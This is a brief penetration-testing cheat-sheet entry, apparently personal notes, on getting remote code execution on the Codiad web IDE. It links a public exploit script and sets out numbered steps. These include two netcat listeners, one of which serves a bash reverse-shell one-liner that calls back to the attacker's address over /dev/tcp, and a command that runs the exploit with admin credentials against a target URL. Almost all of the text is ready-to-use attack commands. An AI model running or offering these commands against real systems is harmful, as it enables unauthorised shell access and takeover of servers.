# Codiad

**Github repo with automated exploit**\
\
<https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit/blob/master/exploit.py><br>

Target: 10.10.10.10\
Kali: 11.11.11.11\
\
\[1]Clone repo and change permissiong to exploit to make executable\
\
\[2]Start two separate listeners on kali

```
a) echo 'bash -c "bash -i >/dev/tcp/11.11.11.11/4445 0>&1 2>&1"' | nc -lnvp 4444

b) nc -lnvp 4445
```

\[3]

```
sudo python ./exploit.py http://admin:bob@10.10.10.10/TargetDirectory/ admin bob 11.11.11.11 4444 linux
```
